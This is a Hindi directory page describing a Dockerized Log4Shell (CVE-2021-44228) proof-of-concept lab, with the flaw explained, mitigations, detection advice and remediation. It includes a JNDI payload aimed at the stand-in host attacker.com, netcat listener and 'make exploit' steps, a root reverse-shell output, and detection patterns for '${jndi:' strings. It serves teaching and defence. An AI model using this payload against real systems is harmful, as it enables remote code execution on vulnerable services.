Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
log4shell — Log4Shell (CVE-2021-44228) PoC | Kitploit
उपकरण/GitHubGitHub/arabindadora/log4shell
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षारिमोट एक्सेस टूललैब और अभ्यास
GitHubarabindadora/log4shell

log4shell

Log4Shell (CVE-2021-44228) PoC

रिपॉजिटरी देखें
10 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Log4Shell (CVE-2021-44228) PoC

उद्देश्य

डॉकरीकृत वातावरण में एक ज्ञात गंभीर CVE को पुनरुत्पादित, शोषण और सुधार करना।

यह PoC एक Spring Boot एप्लिकेशन में CVE-2021-44228 (Log4Shell) का प्रदर्शन करता है।

1. कमजोरी का विवरण

CVE: 2021-44228

CVSS: 10.0 (गंभीर)

प्रभावित घटक: Apache Log4j (<= 2.14.1)

पैकेज कैसे काम करता है

  • Log4j एक लोकप्रिय Java लॉगिंग लाइब्रेरी है।
  • यह लॉग संदेशों के अंदर मानों को गतिशील रूप से हल करने के लिए लुकअप (${...}) का समर्थन करता है।
  • ऐसा ही एक लुकअप JNDI है, जो LDAP के माध्यम से मान प्राप्त कर सकता है।

कमजोरी कैसे काम करती है

  • हमलावर पीड़ित एप्लिकेशन को ${jndi:ldap://attacker.com:1389/a} जैसे दुर्भावनापूर्ण JNDI लुकअप स्ट्रिंग से दूषित करता है।
  • कमजोर Log4j संस्करण वाला पीड़ित एप्लिकेशन लॉगिंग के दौरान दुर्भावनापूर्ण स्ट्रिंग का मूल्यांकन करता है।
  • यह हमलावर-नियंत्रित LDAP सर्वर पर JNDI अनुरोध को ट्रिगर करता है।
  • LDAP सर्वर बाहरी Java बाइटकोड के लिए एक दुर्भावनापूर्ण संदर्भ के साथ प्रतिक्रिया करता है।
  • पीड़ित JVM बाइटकोड को लोड करता है और उसे निष्पादित करता है, जिससे रिमोट कोड निष्पादन (RCE) होता है।

एक्सप्लॉइट कैसे काम करता है

  1. पीड़ित ऐप HTTP हेडर से हमलावर द्वारा प्रदत्त इनपुट को लॉग करता है।
  2. हमलावर LDAP सर्वर Exploit.class के संदर्भ के साथ प्रतिक्रिया करता है।
  3. पीड़ित HTTP के माध्यम से Exploit.class प्राप्त करता है।
  4. Exploit में स्टैटिक इनिशियलाइज़र चलता है, जो हमलावर को एक रिवर्स शेल वापस भेजता है।

2. जोखिम

  • प्रभाव: अप्रमाणित RCE - उच्चतम संभव गंभीरता।

  • कौन/क्या जोखिम में है:

    • Log4j <= 2.14.1 का उपयोग करने वाले कोई भी Java एप्लिकेशन।
    • इंटरनेट-मुखी और आंतरिक सेवाएँ जो उपयोगकर्ता-नियंत्रित इनपुट (जैसे, HTTP हेडर) को लॉग करती हैं।
  • परिणाम:

    • सिस्टम समझौता (शेल पहुंच)।
    • डेटा निकासी।
    • आंतरिक नेटवर्क में पिवोटिंग।
    • परिधि सुरक्षा से बचाव (आंतरिक सेवाओं के माध्यम से हमले)।

3. अवधारणा का प्रमाण

पूर्वापेक्षाएँ

  1. docker + docker-compose
  2. netcat
  3. make

बिल्ड और प्रारंभ

root@kitploit:~
make build start

एक्सप्लॉइट

  1. एक netcat लिस्नर प्रारंभ करें:
root@kitploit:~
nc -l 4444
  1. एक्सप्लॉइट ट्रिगर करें:
root@kitploit:~
make exploit
  1. Netcat पीड़ित से एक रिवर्स शेल प्राप्त करता है:
root@kitploit:~
/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...

4. सुधार

पसंदीदा सुधार

  • Log4j 2.17.1 या बाद के संस्करण में अपग्रेड करें।
  • यह एकमात्र पूर्ण और दीर्घकालिक सुधार है। पहले के संस्करणों को आंशिक रूप से पैच किया गया था लेकिन फिर भी जोखिम बचे थे:
    • CVE-2021-45046: गैर-डिफ़ॉल्ट लॉगिंग कॉन्फ़िगरेशन के माध्यम से RCE
    • CVE-2021-45105: स्व-संदर्भित लुकअप के माध्यम से DoS
    • CVE-2021-44832: कुछ JDBC अपेंडर कॉन्फ़िगरेशन के माध्यम से RCE
root@kitploit:~
make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell

अंतरिम शमन (यदि अपग्रेड संभव न हो)

  1. समय खरीदें
  • WAF या मिडलवेयर के साथ इनबाउंड एक्सप्लॉइट स्ट्रिंग्स (${jndi: पैटर्न) को प्रतिबंधित करें।
  • ईग्रेस फ़िल्टरिंग के साथ एप्लिकेशन सर्वर से आउटबाउंड LDAP को प्रतिबंधित करें।
  1. लुकअप अक्षम करें:
root@kitploit:~
-Dlog4j2.formatMsgNoLookups=true
  1. JVM को सख्त बनाएं:
root@kitploit:~
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

परिचालन शमन

  1. निर्भरताओं और रनटाइम का ऑडिट करें
  • एक SBOM उत्पन्न करें (gradle dependencies, Snyk, Wiz, आदि)।
  • तैनात इमेज/सर्वर में log4j-core-*.jar खोजें, जिसमें फैट JAR शामिल हैं।
  • सबसे जोखिम भरे कार्यभार के लिए शमन को प्राथमिकता दें और ट्रायेज करें।
  1. मॉनिटर और पता लगाएं
  • लॉग में एक्सप्लॉइट प्रयासों (${jndi:...}, ${${lower:j}ndi:...}, आदि) पर ध्यान दें।
  • कॉलबैक के लिए आउटबाउंड LDAP ट्रैफ़िक की निगरानी करें।
  • निष्कर्षों को संभावित समझौता मानें, घटना प्रतिक्रिया के लिए उन्नत करें (फोरेंसिक जांच, दुर्भावनापूर्ण आर्टिफैक्ट को हटाना, रहस्यों का घूर्णन, आदि)।
  1. विक्रेता पैच
  • विक्रेता सलाहकारों (जैसे, Elasticsearch) को ट्रैक करें - कई बंडल किए हुए Log4j को शिप करते हैं।
  • आधिकारिक पैच उपलब्ध होने तक प्रदान किए गए हॉटफिक्स या वर्कअराउंड लागू करें।
  1. रणनीतिक सुधार
  • आउटबाउंड ट्रैफ़िक फ़िल्टरिंग के लिए "डिफ़ॉल्ट रूप से अस्वीकार" नीति लागू करें।
  • CI/CD में निर्भरता स्कैनिंग लागू करें।
  • प्रतिक्रिया प्लेबुक को औपचारिक बनाएं ताकि टीमों को अगली "10.0 CVSS" कमजोरी के दौरान ठीक से पता हो कि क्या करना है।
  • "नए Log4Shell-श्रेणी" की घटना के लिए तैयारी का परीक्षण करने हेतु लचीलापन ड्रिल/टेबलटॉप चलाएं।

5. संदर्भ

  • Apache सुरक्षा सलाहकार
टूल डाउनलोड करें